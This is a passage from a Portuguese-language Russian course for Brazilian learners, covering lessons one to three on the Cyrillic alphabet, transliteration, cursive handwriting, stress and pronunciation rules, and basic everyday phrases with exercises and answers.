6. русская азбука (título desta lição)
7. борщ
8. чай
9. сахар
10. журнал

EXERCÍCIO 1/2

Estes são alguns exemplos comuns de placas que você pode encontrar na Rússia. Cheque a sua pronúncia na seção de respostas no final desta lição.

1. АЭРОПОРТAEROPORTO
2. БУФЕТCANTINA, BUFÊ, BAR, LANCHONETE
3. ГОСТИНИЦАHOTEL
4. ДИРЕКТОРGERENTE, DIRETOR
5. ЗАКРЫТОFECHADO
7. ИНТУРИСТ“TURISTA INTERNACIONAL”
8. КАССАCAIXA, BILHETERIA
9. К СЕБЕPUXE
10. НЕ КУРИТЬNÃO FUME
1. ОТ СЕБЯEMPURRE

6. ЗАПРЕЩЕНО PROIBIDO 12. ПАРИКМАХЕРСКАЯ CABELEIREIRO, BARBEIRO

Curso de Russo: Do Básico ao Avançado Lição 01 Página: 10

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

13. ПОЧТАCORREIO
14. РЕМОНТEM REFORMA
15. РЕСТОРАНRESTAURANTE
16. ТУАЛЕТTOALETE

EXERCÍCIO 1/3

Com o seu conhecimento adquirido até aqui, tente descobrir o significado de cada uma destas palavras apenas através da pronúncia.

1. БАР 4. СТОП 7. ПИЦЦА ХАТ 10. НЬЮ-ЙОРК 13. БИТЛЗ

2. ПРАВДА 5. МОСКВА 8. ВЛАДИМИР ЛЕНИН 1. ГЛАСНОСТЬ 14. ШЕКСПИР

3. ТАКСИ 6. ЛОС АНДЖЕЛЕС 9. ИЗВЕСТИЯ 12. РОЛЛС-РОЙС 15. ХЕЛЬСИНКИ

Além do material principal de cada lição, este curso também te dará informações extras que não são essenciais para que você aprenda a língua russa. Se você quiser pular estas partes marcadas como EXTRA, ou estudá-las mais tarde, o seu progresso no curso não será prejudicado.

(1) Os nomes das letras russas

Anteriormente nós mostramos apenas a pronúncia das letras. Você precisará saber os nomes das letras apenas quando houver abreviações (mais detalhes na Lição 30), como, por exemplo, IBM, que em inglês é pronunciado como [ai-bi-em].

а [a], б [be], в [ve], г [ge], д [de], е [ye], ë [yo], ж [je], з [ze], и [i], й [i krát-ka-ye (“i curto”)], к [ka], л [el], м [em], н [en], о [o], п [pe], р [er], с [es], т [te], у [u], ф [ef], х [ha], ц [tse], ч [tche], ш [sha], щ [shsha], ъ [tvyór-di znak (“pronúncia forte”)], ы [yerí], ь [myáh-ki znak (“pronúncia suave”)], э [e], ю [yu], я [ya].

Curso de Russo: Do Básico ao Avançado Lição 01 Página: 1

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

Desta forma, СССР (sigla em russo para URSS – União das Repúblicas Socialistas

Soviéticas), seria pronunciado como [es-es-es-ér] e КГБ (= KGB) seria pronunciado como [ka-gebe].

Clique no ícone ao lado para ouvir a pronúncia correta das letras do alfabeto russo.

(2) Transliteração do russo para letras latinas

Transliteração é a escrita de letras de um alfabeto em outro alfabeto tentando manter uma correspondência fonética. No nosso caso, será a representação das letras russas em letras latinas quando, por exemplo, é necessário soletrar o nome de pessoas ou lugares russos em português. Transcrição (ou “transcrição fonética”) é a representação dos sons russos, por exemplo, para ajudar um estrangeiro a aprender a pronúncia corretamente. É importante frisar então que Transliteração e Transcrição não são e nunca irão ser a mesma coisa! Este é um erro muito comum cometido pelas pessoas que iniciam um curso de russo, tanto sozinhos quanto com a ajuda de um professor.

Existem vários padrões de transliteração do russo para outros idiomas. Estes padrões variam de acordo com cada língua e, às vezes, de acordo com os métodos usados por cada tradutor. Por exemplo, apesar das regras de transliteração do russo para o português serem parecidas com as regras de transliteração do russo para o inglês, às vezes a mesma palavra pode parecer completamente diferente depois de transliterada para as duas línguas. Portanto, mesmo que este curso seja direcionado para estudantes que têm o Português do Brasil como primeira língua, nós iremos usar e ensinar as regras de transliteração do russo para o inglês durante todo o curso. Esta decisão foi tomada tendo em vista que, embora o inglês não seja (e muito menos não exista) uma “língua padrão” para a transliteração das letras russas, o inglês é a língua mais comumente usada e encontrada em transliterações feitas tanto no Brasil quanto no resto do mundo. No Brasil, por exemplo, as autoridades consulares da Federação Russa inclusive recomendam que os Tradutores Juramentados de Russo façam a tradução de documentos para o português usando as regras de transliteração russo/inglês para que não haja discrepâncias na conferência de nomes de lugares e pessoas caso os mesmos tenham que ser usados em algum processo legal. O sistema adotado em nosso curso é o mesmo estipulado pela Associação Americana de Bibliotecas, e a Tabela de Transliteração usada está mostrada abaixo:

Curso de Russo: Do Básico ao Avançado Lição 01 Página: 12

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br а = a, б = b, в = v, г = g, д = d, е = e, ë = yo, ж = zh, з = z, и = i, й = j, к = k, л = l, м = m, н = n, о = o, п = p, р = r, с = s, т = t, у = u, ф = f, х = h (kh), ц = c (ts), ч = ch, ш = sh, щ = shch, ъ = “, ы = y, ь = ‘, э = e, ю = yu, я = ya.

Exemplo de transliteração (um nome feminino): Наталья Евгеньевна Хрущёва = Natal’ya Evgen’evna Khrushchyova

Apesar do sistema empregado acima ser o mais usado na transliteração de palavras em russo, exceções podem ser empregadas na transliteração de nomes próprios (ex.: “Vania” ao invés de “Vanya” para Ваня). Em ambos os casos a transliteração está correta, mas em casos assim a exceção – Vania – prevalece sobre a regra quando o resultado é uma palavra mais parecida com o que o leitor está acostumado a ler.

1.6 Respostas dos Exercícios

1/1 1 [Ba-rís] Boris. 2 [da] sim. 3 [nyet] não. 4 [balý-shôy] grande. 5 [spa-sí-ba] obrigado(a). 6 [rú-ska-ya áz-bu-ka] alfabeto russo. 7 [borshsh] sopa de beterraba. 8 [tchay] chá. 9 [sá-har] açúcar. 10 [jur-nál] revista.

1/2 1 [a-e-ra-pórt]. 2 [bu-fyét]. 3 [ga-stí-ni-tsa]. 4 [di-ryék-tar]. 5 [za-krí-ta]. 6 [za-prye-shshye-nó]. 7 [in-tu-ríst]. 8 [ká-ssa]. 9 [ksye-byé]. 10 [nye ku-rítý]. 1 [at sye-byá]. 12 [pa-rik-má-hyer-ska-ya]. 13 [pótch-ta]. 14 [rye-mónt]. 15 [rye-sta-rán]. 16 [tu-a-lyét].

1/3 1 BAR. 2 PRAVDA (o jornal). 3 TÁXI [tak-sí]. 4 PARE. 5 MOSCOU [mask-vá]. 6 LOS ANGELES. 7 PIZZA HUT [-hat]. 8 VLADIMIR LENIN [vla-dí-mir lyé-nin]. 9 IZVESTIYA (jornal russo) [iz-vyé-sti-ya]. 10 NOVA IORQUE [nýyu-yórk]. 1 GLASNOST (“abertura”) [glás-nastý]. 12 ROLLS-ROYCE. 13 OS BEATLES. 14 SHAKESPEARE. 15 HELSINQUE (capital da Finlândia) [hyélý-sin-ki].

Curso de Russo: Do Básico ao Avançado Lição 02 Página: 13

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

2 УРОК НОМЕР ДВА ESCRITA A MÃO EM RUSSO; MAIS SOBRE A PRONÚNCIA

Se o seu objetivo não é falar ou escrever em russo, mas somente ser capaz de ler livros e revistas escritas em russo, você pode pular a Lição 02 inteira – ou apenas dar uma olhada agora e voltar para estudá-la completamente mais tarde.

2.1 Escrita a Mão em Russo

Todos os russos aprendem o mesmo estilo de letras cursivas na escola. Você deve formar as letras da mesma maneira que estão representadas aqui, mas não se preocupe em não ser entendido caso você não junte as letras ou faça menos curvas enquanto escreve. Aqui estão as formas cursivas das letras do alfabeto russo na ordem do dicionário:

Б б [b] Б б Баба Баба [bá-ba] camponesa, vovó

В в [v] В в Г г [g] Г г

Д д [d] Д д Да да [da] sim

Também existe uma forma antiga de escrever o д minúsculo: ¶

Curso de Russo: Do Básico ao Avançado Lição 02 Página: 14

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

Е е [ye] Е е Где где [gdye] onde, aonde

Ё ё [yo] Ё ё

Ж ж [j] Ж ж Даже даже [dá-je] mesmo que, até, ainda

З з [z] З з

И и [i] И и Иди! Иди! [i-dí] Vá! (imperativo do verbo “ir”)

Й й [j] Й й Дай! Дай! [day] Dê! (imperativo do verbo “dar”)

К к [k] К к

Л л [l] Л л

A pequena curva no início da letra é parte integral dela e deve estar presente, não importando o que a esteja precedendo. Olhe estes exemplos: зал зал [zal] “salão, corredor”, или или [í-li] “ou”.

М м [m] М м

Como no caso do л, a curva inicial deve estar presente; nas palavras Адам Адам “Adão” e Клим Клим

“clemente”, por exemplo, os caracteres л e м são quase indistinguíveis se a pequena curva inicial for omitida.

Н н [n] Н н О о [o] О о

Он Он [on] ele – se a letra seguinte for um л ou um м, não tente juntá-las: дом дом “casa”, молоко молоко “leite”.

П п [p] П п Р р [r] Р р

Curso de Russo: Do Básico ao Avançado Lição 02 Página: 15

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

С с [s] С с Спасибо Спасибо [spa-sí-ba] Obrigado(a)

Т т [t] Т т

Note bem a diferença entre a forma impressa e cursiva da letra. Alguns russos “cruzam os seus t’s” colocando um traço sobre a letra, como no exemplo ao lado: тот тот, mas eles são minoria. Um número menor ainda de pessoas escreve o т como T T.

Тот Тот [tot] aquele, aquilo, aquela кто-то кто-то [któ-ta] alguém Нет нет [nyet] não

У у [u] У у

Ф ф [f] Ф ф

Note que еm todas as letras cursivas maiúsculas em russo, com exceção do щ e ц, a sua pequena “calda” não cruza a linha de baixo. Você não precisa gastar muito tempo praticando a letra cursiva Ф uma vez que o ф raramente inicia uma palavra em russo.

Белфаст Белфаст [Byel-fást] Belfast Футбол футбол [fut-ból] futebol

Х х [h] Х х Бах Бах [Bah] Bach (compositor alemão)

Ц ц [ts] Ц ц Mantenha a calda pequena, menor que a calda do у [u].

Гостиница гостиница [ga-stí-ni-tsa] hotel Царица Царица [tsa-rí-tsa] Imperatriz

Ч ч [tch] Ч ч

Note que a calda desta letra não faz nenhuma curva como o у у [u]. Tome cuidado para que elas não fiquem iguais. Também procure não deixar a calda da versão minúscula desta letra curta demais para que não se confunda com o и и[i].

Curso de Russo: Do Básico ao Avançado Lição 02 Página: 16

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

Чай Чай [tcháy] chá дача дача [dá-tcha] casa de campo человек человек [tchye-la-vyék] pessoa

Ш ш [sh] Ш ш

Ao contrário do “w” a última curva desta letra termina encostando na linha e não no ar. Alguns russos colocam uma barra sob o ш ш para que possa ser facilmente distinguida do и и.

Хорошо Хорошо [ha-ra-shó] Bom, boa машина машина [ma-shí-na] carro

Щ щ [shsh] Щ щ Assim como no ц ц, mantenha a calda desta letra curta

Щи Щи [shshi] sopa de repolho борщ борщ [borshsh] sopa de beterraba

Ъ ъ [-] Ъ ъ Não existe necessidade de praticar a forma maiúscula desta letra já que ela nunca inicia uma palavra.

объект объект [ab-yékt] objeto

Ы ы [í] Ы ы Não existe necessidade de praticar a forma maiúscula desta letra já que ela nunca inicia uma palavra.

сын сын [syn] filho

Não existe necessidade de praticar a forma maiúscula desta letra já que ela nunca inicia uma palavra.

Certifique-se que o ь ь tenha a metade da altura do в в.

Э э [e] Э э

Этот Этот [é-tat] essa, isso Аэрофлот Аэрофлот [a-e-ra-flót] Aeroflot

Ю ю [yu] Ю ю

Югославия Югославия [yu-ga-slá-vi-ya] Iugoslávia меню меню [mye-nyú] menu

Curso de Russo: Do Básico ao Avançado Lição 02 Página: 17

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

Я я [ya] Я я

Assim como no л л e м м, a versão minúscula desta letra deve ter uma pequena curva no seu início. Para te ajudar a lembrar destas letras veja abaixo uma palavra que contém as três juntas:

земля земля [zye-mlyá] terra, solo, chão

Leia e escreve as palavras abaixo na forma cursiva:

До свидания До свидания [da svi-dá-ni-ya] Adeus/Até logo Привет Привет [pri-vyét] Oi/Olá Спасибо за всё Спасибо за всё [spa-sí-ba za vsyo] Obrigado(a) por tudo Где же письмо? Где же письмо? [gdye je pisý-mó] Onde está a carta?

Это мой сын Чарли Это мой сын Чарли [é-ta moy sin tchár-li] Esse é o meu filho Charlie

Дорогая Клара! Дорогая Клара! [da-ra-gá-ya klá-ra] Querida Clara!

[shshi da ká-sha – pí-shsha ná-sha] Sopa de repolho e mingau é a nossa comida

Я люблю футбол Я люблю футбол [ya lyu-blú fut-ból] Eu amo futebol гостиница Это хорошая гостиница [é-ta ha-ró-sha-ya ga-stí-ni-tsa] Este é um bom hotel

Почему? Почему? [pa-tchye-mú] Por quê? (para perguntas) Объявление Объявление [ab-ya-vlyé-ní-ye] Anúncio

2.2 Mais Sobre a Pronúncia Russa: Entonação

Em português, algumas sílabas são pronunciadas mais forte que as outras. Compare a palavra em português “fotografia”, que é oxítona (a entonação está na última sílaba), com a

Curso de Russo: Do Básico ao Avançado Lição 02 Página: 18

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br palavra “fotógrafo”, que é proparoxítona (a entonação está na antepenúltima letra). Ao contrário do português, onde em alguns casos palavras acentuadas podem indicar facilmente a sílaba tônica, em russo não existe nada que possa indicar qual sílaba deve ser flexionada de forma mais forte, por isso, quando você aprender uma palavra nova em russo, lembre-se de decorar não somente o seu significado, mas também a entonação correta. Você deve ter cuidado especial com palavras russas (principalmente nomes) que também são usadas no português, já que no português tradicional a pronúncia das mesmas quase nunca bate com a pronúncia em russo. Um bom exemplo é o nome Владимир “Vladimir”. Em português nós normalmente falamos “Vladimír” (oxítona), mas em russo a sílaba tônica está penúltima sílaba [Vla-dí-mir].

Outros exemplos:

· O nome da princesa Anastasia se pronuncia Анастасия (não Anastásia). • O sobrenome da tenista russa Anna Kurnikova se pronuncia Курникова (não Kurnikóva).

• O nome do ex-presidente russo Boris Yeltsin se pronúncia Борис (não Bóris).

A entonação em russo é mais pesada do que em português e também é muito mais difícil de adivinhar qual é a sílaba tônica. Você verá que diferentes formas da mesma palavra podem ter entonações diferentes. Por exemplo, a palavra “mão” em russo é рука, sendo a sílaba tônica a última [ru-ká], mas no plural “mãos” a palavra fica руки, sendo a sílaba tônica a primeira [rúki].

Se você tiver que ler alguma palavra em russo e não souber qual é a sílaba tônica, a coisa mais segura a se fazer é pronunciá-la sem usar entonação nenhuma, sílaba por sílaba.

2.3 EXTRA: Palavras Monossílabas e a Entonação

Os dicionários e a maioria dos livros de gramática não colocam qualquer tipo de marcação em palavras monossílabas, já que fica óbvio qual é o único lugar que a sílaba tônica estará. Nós podemos usar esta regra exceto nos casos em que palavra monossílaba possuir a letra о. Existem algumas palavras curtas em russo, especialmente preposições (palavras como за “para”, от “de”, до “até”) que normalmente são pronunciadas sem nenhuma entonação, como se elas fossem

Curso de Russo: Do Básico ao Avançado Lição 02 Página: 19

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br ligadas à palavra seguinte. Como você aprendeu na Lição 01, a letra о soa diferente (como [a]2), se ela não fizer parte da sílaba tônica, portanto до “até” é pronunciado por [da].

Pratique: до свидания [da svi-dá-ni-ya] “até logo”, literalmente “até o encontro”.

A preposição до “até” não deve ser flexionada e deve ser pronunciada como se fosse parte da palavra свидания.

2.4 EXTRA: Características Não-Essenciais da Pronúncia

Se você quer apenas se fazer entender, você pode ignorar os tópicos a seguir. Se você lê as palavras em russo da maneira que elas são soletradas você não causará nenhum mal entendido. Mas se você está interessado nos detalhes e pequenas diferentes entre o russo falado e escrito em Moscou em comparação ao russo praticado no resto da Rússia, estude os próximos 6 tópicos desta lição.

Provavelmente a característica mais importante de um “bom” sotaque russo é a pronúncia correta das consoantes suaves. “Suavidade” quer dizer que a consoante é pronunciada quase simultaneamente com o som ý – da mesma maneira que os brasileiros pronunciam a maioria das consoantes em português. Quando precisamos pronunciar alguma sigla em português nós costumamos adicionar no final da última consoante uma vogal inexistente, que não faz parte da versão grafada da sigla, geralmente um pequeno “i” ou “e”. Por exemplo, na sigla para Universidade de São Paulo, USP, a maioria dos brasileiros pronuncia este sigla como “USPi” ou “USPe”. E é exatamente desta maneira que as consoantes suaves devem ser pronunciadas em russo. Uma consoante é suave se ela é seguida por е, ё, и, ю, я ou o sinal de pronúncia suavidade ь. Portanto, as duas consoantes na palavra день [dyený] “dia” são suaves. O segredo é saber pronunciar o ý simultaneamente com a consoante; brasileiros que estão aprendendo

2 Para ser preciso, quando as letras о e а aparecem em uma sílaba antes de uma sílaba tônica ambas soam como o primeiro a da palavra “cana-de-açúcar”, foneticamente [Λ]; mas na maioria dos casos em que elas fazem parte de uma sílaba não-tônica, ambas soam como o a da palavra “carro”, foneticamente [ə].

Curso de Russo: Do Básico ao Avançado Lição 02 Página: 20

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br russo tendem a pronunciá-las separadamente. A palavra совет “conselho” é pronunciada corretamente como [s-a-vý-é-t] – com cinco sons. O vý (в suave) representa apenas um som. Em português nós costumamos falar a palavra “soviet” com seis sons s-o-v-i-e-t.

2.4.2 Consoantes Fortes versus Consoantes Suaves

“Forte” significa que a consoante é pronunciada de maneira oposta como os brasileiros pronunciam a maioria das consoantes em português, evitando a adição de qualquer “i” ou “e” no fim da mesma, sem o som ý. No alfabeto que você aprendeu na Lição 01, existem vinte consoantes. Todas elas, com exceção do ч e o щ, representam sons fortes. Ч е щ são sempre suaves (isto é, elas sempre contêm o som ý no final, pronunciado simultaneamente). Das outras dezoito consoantes, quinze possuem equivalentes que são pronunciados suavemente. Como vimos anteriormente, uma consoante terá a pronúncia suave se ele tiver as letras е, ё, и, ю, я, ou ь escritas após ela. Desta maneira, a consoante л é forte [l], enquanto ль é suave [lý]. Para um russo os sons [l] e [lý] são completamente diferentes, enquanto para pessoas que tem o português como língua nativa estes sons podem simplesmente parecer variações de uma mesma letra “l”. Se você comparar a pronúncia do “l” na palavra “polpa” e o “l” na palavra “lista”, você provavelmente irá perceber (dependendo do seu dialeto) que o “l” em “polpa” se parece com o л enquanto o “l” em “lista” se parece com ль.

Veja mais exemplos do contraste entre consoantes fortes e suaves:

мило [mí-la] “gentilmente” – л forte миля [mí-lya] “milha” – ль suave лук [luk] “cebola” – l forte люк [lyuk] “escotilha”, “abertura no navio” – [lý] é suave мат [mat] “linguagem obscena”, “abuso” – т forte мать [matý] “mãe” – ть suave мать [matý] “mãe” – m forte мять [myatý] “dobrar”, “amarrotar” – [mý] suave

Curso de Russo: Do Básico ao Avançado Lição 02 Página: 21

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

Dicas Para Identificar Consoantes Fortes e Suaves

A diferença entre a pronúncia em português de “butique” e “biscoito” é similar à diferença entre б e o бь suave em russo. As palavras “duro” e “DIU” (método anticoncepcional) são uma boa comparação para ду e дю em russo. Compare “fuligem” e “filme” com дул e фюл, “púrpura” e “pióla”3 com пур e пюл. A correspondência entre “pióla” e пюр não é exata porque a letra p e o elemento [ý] não são pronunciados simultaneamente em “pióla”, enquanto a letra п e o elemento [ý] são. Mas para motivos práticos essa relação é semelhante o suficiente.

2.4.3 As Consoantes ж, ц, ш são Sempre Fortes

Apesar das letras е, ё, и, ю, я e ь tornarem suaves as consoantes que lhes precedem, existem três casos especiais: ж, ц e ш. Essas três letras são sempre consoantes fortes, não importa que letra venha depois delas. Portanto, жена “esposa” é pronunciado [je-ná] – o [y] da letra е [ye] simplesmente desaparece. Жёны “esposas” é pronunciado como se fosse escrito жоны [jó-ni]. Ты знаешь “você sabe” é pronunciado como se fosse escrito ты знаеш [ti znáyesh] – o sinal de pronúncia suave não tem efeito somente nesta posição por razões históricas.

Outra coisa que você também deve saber é que depois das letras ж, ц e ш a vogal и [i] é pronunciada como se fosse ы [í]:

жить [jítý] “viver” цирк [tsírk] “circo”

2.4.4 Consoantes Com Som Podem Se Tornar Sem Som

As seis primeiras consoantes do alfabeto б, в, г, д, ж e з têm som, isto é, são pronunciadas com a vibração das cordas vocais. Mas quando elas aparecem no final das palavras elas se transformam em suas equivalentes sem som (são pronunciadas com pouco ou nenhuma vibração das cordas vocais, similar à letra “h” em português quando aparece no início de palavras):

3 Substantivo feminino. Regionalismo: Rio Grande do Sul. 1 - fio para atar, cordel fino, cordão, barbante; 2 - qualquer fragmento de corda.

Curso de Russo: Do Básico ao Avançado Lição 02 Página: 2

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

Com Som Sem Som б [b] é pronunciado como п [p] в [v] “ ф [f] г [g] “ к [k] д [d] “ т [t] ж [j] “ ш [sh] з [z] “ с [s]

Assim Петербург é pronunciado como [pye-tyer-búrk] – г [g] se torna [k] no fim da palavra. O sobrenome Горбачёв se pronuncia [gar-ba-tchyóf] – в [v] se torna [f].

Quando aparecem no meio das palavras, as seis consoantes acima se tornam sem som se elas estiverem posicionadas logo atrás de uma consoante sem som (к, п, с, т, ф, х, ц, ч, ш e щ). Veja os exemplos abaixo:

водка é pronunciado como [vót-ka] – д se torna [t] antes do к завтра “amanhã” é pronunciado como [záf-tra] – в se torna [f] antes do т вход “entrada” é pronunciado como [fhot] – в se torna [f] antes do х

2.4.5 Consoantes Sem Som Podem Se Tornar Com Som

De maneira similar, as consoantes sem som podem se tornar consoantes com som se estiverem posicionadas logo atrás das letras б, г, д e ж (mas não o в). Assim:

вокзал “estação” é pronunciado como [vag-zál] – к se torna [g] antes do з [z]

Mas as consoantes na palavra Москва “Moscou” são pronunciadas da mesma maneira que são escritas [mask-vá] – в não afeta consoantes sem som que aparecem antes dele.

2.4.6 As Vogais о, е, я em Sílabas Não-Tônicas

Como você aprendeu acima (2.2), sílabas destacadas em vermelho devem ser pronunciadas mais forte que as outras (sílabas tônicas). Assim, o som das vogais em sílabas não-

Curso de Russo: Do Básico ao Avançado Lição 02 Página: 23

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br tônicas é muito menos distinguível do que o som das vogais que estão em sílabas tônicas. Você já sabe que as vogais о e а soam da mesma maneira em sílabas não-tônicas. Você deve ter percebido que a vogal е é quase indistinguível do и em sílabas não-tônicas, principalmente quando ouvidas de pessoas que estão iniciando a aprender russo. Петербург (São Petersburgo) soa como se fosse escrito Питирбурк [pi-tir-búrk]. A vogal я, quando aparece em uma sílaba antes da sílaba tônica também soa como и, fazendo a palavra язык “língua” soar como [i-zík], ao invés de [ya-zík].

Lembre-se: SE VOCÊ ESCOLHER NÃO ESTUDAR OS DETALHES DISCUTIDOS NOS SEIS TÓPICOS ANTERIORES, OU SE VOCÊ DECIDIR ESTUDÁ-LOS MAIS TARDE, ISSO NÃO PREJUDICARÁ O SEU APRENDIZADO. Como nós dissemos na Lição 01, você será capaz de se fazer entender em russo sabendo apenas a pronúncia das trinta e três letras do alfabeto e a forma como elas são escritas. Não existe nada de errado em ter um sotaque estrangeiro, contanto que ele seja compreensível.

2.5 Pratique a sua Pronúncia

Devagar Velocidade Normal

Ленинград [lye-nin-grad] [lye-nin-grát] Leningrado – ль suave, нь suave, д [d] se torna т [t] no fim da palavra.

Москва [mosk-va] [mask-vá] Moscou – о [o] se torna а [a] na sílaba não tônica.

Киев [ki-ev] [kí-ef] Kiev (capital da Ucrânia) – в [v] se torna ф [f] no fim da palavra.

Достоевский [do-sto-yev-skiy] [da-sta-yéf-ski] Dostoievski (escritor russo) – в [v] se torna ф [f] antes do с [s]; й [y] é inaudível depois do и [i].

Пастернак [pa-styer-nak] [pa-ster-nák] Pasternak (escritor russo) – [ty] é um único som, ть suave. водка [vod-ka] [vót-ka] vodka – д [d] se torna sua equivalente sem som antes do к [k]. пиццерия [pi-tsye-ri-ya] [pi-tse-rí-ya] pizzaria – o som [y] é removido depois do ц [ts].

Curso de Russo: Do Básico ao Avançado Lição 02 Página: 24

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

Брежнев [bryej-nyev] [bryéj-nyef] Brezhnev (premier soviético) – в [v] se torna o seu equivalente sem som no fim da palavra.

Горбачёв [gor-ba-tchyov] [gar-ba-tchyóf] Gorbachev. Прокофьев [pro-ko-fý-yev] [pra-kó-fýyef] Prokofiev ou Prokof’ev. Набоков [na-bo-kov] [na-bó-kaf] Nabokov. Бернард Шоу [byer-nard sho-u] [byér-nart shó-u] Bernard Shaw (dramaturgo inglês). Лидз [lidz] [líts] Leeds (cidade na Inglaterra).

2.6 Características Excepcionais da Pronúncia

Além da lista de divergências entre e a ortografia e a pronúncia de Moscou descritas acima, existem outras irregularidades não tão perceptíveis e que não se encaixam em nenhuma das regras estudadas anteriormente. Aqui estão os exemplos mais comuns – todas estas palavras com certeza serão vistas e usadas por você durante o seu curso de russo:

что “que, o que”, pronunciado como [shto], não [tchto] пожалуйста “por favor”, normalmente pronunciado como [pa-jál-sta], sem o уй здравствуйте “olá”, pronunciado como [zdrá-stvuy-tye], sem o primeiro в его “dele”, pronunciado como [ye-vó], não [ye-gó] сегодня “hoje”, pronunciado como [sye-vód-nya], não [sye-gód-nya] радио “rádio”, pronunciado como [rá-di-o], não [rá-di-a], por causa da origem estrangeira

Em muitas palavras estrangeiras que foram recentemente adotadas pelo idioma russo, as pessoas mais instruídas trocam a pronúncia do е pelo э. Exemplos:

теннис “tênis” pronuncia-se [té-nis], não [tyé-nis] компьютер “computador” pronuncia-se [kam-pýyú-ter], não [kam-pýyú-tyer]

Curso de Russo: Do Básico ao Avançado Lição 02 Página: 25

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

EXERCÍCIO DE ESCRITA 2/1 Escreva todas as palavras em russo do tópico 2.5 na forma cursiva.

EXERCÍCIO DE PRONÚNCIA 2/2

Leia as palavras seguintes, que acabaram de ser incorporadas ao idioma russo. Depois cheque a sua pronúncia (e a tradução) na seção de respostas no final desta lição.

1 виски. 2 инфляция. 3 маркетинг. 4 мюзикл. 5 ноу-хау. 6 персональный компьютер. 7 приватизация. 8 рок-музыка. 9 стриптиз. 10 эксклюзивное интервью.

DIVIRTA-SE: EXERCÍCIO DE PRONÚNCIA 2/3

As palavras abaixo são uma boa prática para a seu leitura em russo, mas as pessoas que falam ou pelo menos entendem inglês às vezes as acham cômicas, por um motivo ou outro. Cheque a sua pronúncia na seção de respostas no final desta lição.

1 щит “escudo”. 2 шит “costurado”. 3 брат “irmão”. 4 золотоволосое “cabelo dourado”. 5 защищающий “defensor”. 6 нокаутировать “nocautear”. 7 экспериментировать “experimentar”. 8 достопримечательности “pontos turísticos”. 9 человеконенавистничество “misantropia” (aversão à sociedade humana).

2.7 Respostas dos Exercícios

2/1 Ленинград, Москва, Киев, Достоевский, Пастернак, водка, пиццерия, Брежнев, Горбачёв,

Curso de Russo: Do Básico ao Avançado Lição 02 Página: 26

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

2/2 1 [ví-ski] whisky. 2 [in-flyá-tsi-ya] inflação. 3 [már-kye-tink] marketing. 4 [myú-zikl] um musical. 5 [nó-u-há-u] know-how. 6 [pyer-sa-nálý-ni kam-pýyú-ter] computador pessoal. 7 [pri-va-ti-zá-tsi-ya] privatização. 8 [rok-mú-zi-ka] música rock (“rock music”). 9 [strip-tís] strip-tease. 10 [ek-sklyu-zív-na-ye in-ter-výyú] entrevista exclusiva.

2/3 1 [shshit]. 2 [shit]. 3 [brat]. 4 [za-la-ta-va-ló-sa-ye]. 5 [za-shshi-shshá-yu-shshi]. 6 [na-ka-u-tí-ra-vatý]. 7 [ek-spye-ri-myen-tí-ra-vatý]. 8 [da-sta-pri-mye-tchá-tyelý-na-sti]. 9 [tchye-la-vye-ka-nye-na-víst-ni-tchye-stva].

Curso de Russo: Do Básico ao Avançado Lição 03 Página: 27

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

3 УРОК НОМЕР ТРИ FRASES DO DIA-A-DIA; GRAMÁTICA BÁSICA

3.1 Palavras e Frases do Dia-a-Dia

Aqui estão algumas palavras e frases para você ler e aprender. Se você estudou a escrita cursiva na Lição 02, você também pode escrevê-las e checar o resultado na seção de respostas no final desta lição (exercício 3/1).

Да [da] Sim Нет [nyet] Não Это [é-ta] Isso/Aquilo Спасибо [spa-sí-ba] Obrigado(a) Доброе утро [dó-bra-ye ú-tra] Bom dia (literalmente “boa manhã”) Добрый день [dó-bri dyený] Boa tarde (literalmente “bom dia”) До свидания [da svi-dá-ni-ya] Adeus/Até logo Простите [pra-stí-tye] Desculpe-me

Palavras com características especiais de pronúncia:

Пожалуйста “Por favor/De nada” – normalmente pronunciado sem o уй como se fosse [pa-jál-sta]

Здравствуйте “Olá” (a forma mais comum de se cumprimentar alguém em russo) – pronunciado sem o primeiro в como se fosse [zdrá-stvuy-tye]

Что “O que” – pronuncia-se [shto] Где “Onde” – [gdye] se for pronunciado com cuidado, mas se você simplesmente pronunciar [dye], sem o г [g] ninguém irá notar a diferença.

Curso de Russo: Do Básico ao Avançado Lição 03 Página: 28

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

E os números de 1 (um) a 5 (cinco):

1. один [a-dín] 2. два [dva] 3. три [tri] 4. четыре [tchye-tí-rye] 5. пять [pyatý]

3.2 Perguntas e Respostas Simples

A: Что [shto] это? B: Это чай.

O que é isso/aquilo? Isso/Aquilo é o chá.

Obrigado. De nada.

O que é isso? Isso é um rublo.

Onde está o Vladimir? Ali/Lá está ele.

Onde está o chá? Ali está ele / Ele está ali.

Onde está a vodka? Ali está ela / Ela está ali.

Onde está o cardápio? Ali está ele.

Obrigado. Não há de que.

Desculpe, isso/aquilo é o vinho? Não, isso/aquilo é vodka.

Curso de Russo: Do Básico ao Avançado Lição 03 Página: 29

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

3.3 Usando Пожалуйста em Resposta a Спасибо “Obrigado(a)”

Se alguém te falar спасибо “obrigado” você sempre deve responder com пожалуйста [pa-jál-sta] “de nada/não há de que”.

3.4 Usando Пожалуйста como “Por Favor”

Пожалуйста é uma palavra muito versátil. Ela também pode significar “por favor”, e “aqui está”, quando alguém está dando algo à outra pessoa.

Cliente: Vendedor: Cliente: Vendedor:

Dois, por favor. Aqui estão. Obrigado. Não há de que.

